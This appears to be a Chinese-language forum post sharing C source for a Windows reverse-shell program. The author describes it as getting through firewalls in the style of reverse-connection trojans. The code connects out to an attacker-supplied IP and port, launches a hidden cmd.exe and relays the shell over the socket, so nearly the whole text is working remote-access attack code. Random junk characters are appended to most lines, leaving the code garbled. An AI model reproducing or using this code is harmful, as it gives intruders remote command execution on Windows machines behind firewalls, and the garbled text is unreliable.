这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -iy17$
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/* ============================== 'D+njxCk.A
Rebound port in Windows NT s Wj:m )
By wind,2006/7 {o'(_.{
===============================*/ {JQV~rfh`
#include m,5m'9dj
#include X.e4pLwGK
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#pragma comment(lib,"wsock32.lib") Ayw {I#"
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void OutputShell(); &mJm'Ks
SOCKET sClient; 1A]
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";
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void main(int argc,char **argv) =?M{B1;H
{ 'uqY%&U
WSADATA stWsaData; W'zI~'K
int nRet; AGlFbc(L
SOCKADDR_IN stSaiClient,stSaiServer; UZJs!#P
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if(argc != 3) 41C6ey
{ gf;B&MM6
printf("Useage:\n\rRebound DestIP DestPort\n"); fob.?ID-;
return; &)Vuh=
} T~lHm
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WSAStartup(MAKEWORD(2,2),&stWsaData); 74Aecb{
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QF.M%she+
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stSaiClient.sin_family = AF_INET; R,hwn2@B
stSaiClient.sin_port = htons(0); gfXit$s
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FYaBP;@J%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +nFC&~q
{ of_Om$
printf("Bind Socket Failed!\n"); ['c*<f"
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return; 7?Twhs.O
} GKXd"8z]
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stSaiServer.sin_family = AF_INET; UnTvot6~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *]S&V'Di
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); HvG~bZN
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) mj& 4FQ#O*
{ t%s(xz#1
printf("Connect Error!"); avMre_@V
return; tiic>j\D
} .P!pC
OutputShell(); p ^I#9(PT
} ]1bN cq2I
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void OutputShell() :N=S nyz
{ Ap(>mUs!i
char szBuff[1024]; Qv;^nj{\qV
SECURITY_ATTRIBUTES stSecurityAttributes; 3r2e_?m
OSVERSIONINFO stOsversionInfo; F`f8q\Fc
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rV/! VJ6x
STARTUPINFO stStartupInfo; %\!3tN
char *szShell; 4:s!mHcz
PROCESS_INFORMATION stProcessInformation; .Nd_p{
unsigned long lBytesRead; $0~_)$i:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u3vw[k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ESY\!X:|
stSecurityAttributes.lpSecurityDescriptor = 0; U'xmn$O
stSecurityAttributes.bInheritHandle = TRUE; L8 $+%Gvo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \4 hB1-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =@ed{~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3B ;aoejHm
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sTzt
stStartupInfo.wShowWindow = SW_HIDE; ";/,FUJJ
stStartupInfo.hStdInput = hReadPipe; 8|S}!P"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |("zW7g
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GetVersionEx(&stOsversionInfo); uPL|3ACS
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switch(stOsversionInfo.dwPlatformId) idP2G|Z
{ 5l
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case 1: vt2A/9_Z%
szShell = "command.com"; ~&8bVA= .
break; sG k'G573
default: `^CIOCK%
szShell = "cmd.exe"; N._&\fHY
break; b~EA&dc
} \QMRuR.
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); gO]jeO
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send(sClient,szMsg,77,0); ,wH]|`w
while(1)
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{ $r/tVu2!W
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ood,k{
if(lBytesRead) 2mPU /
{ [f@[gE
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "s
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send(sClient,szBuff,lBytesRead,0); |7E1yu
} 5>"X?U}He
else OOX[xv!b
{ !I[|\ 4j
lBytesRead=recv(sClient,szBuff,1024,0); &-M}:'
if(lBytesRead<=0) break; UNKr
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YhFd0A?]
} ;=E!xfp5U
} o"e]9{+<
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return; 4^AdSuV
}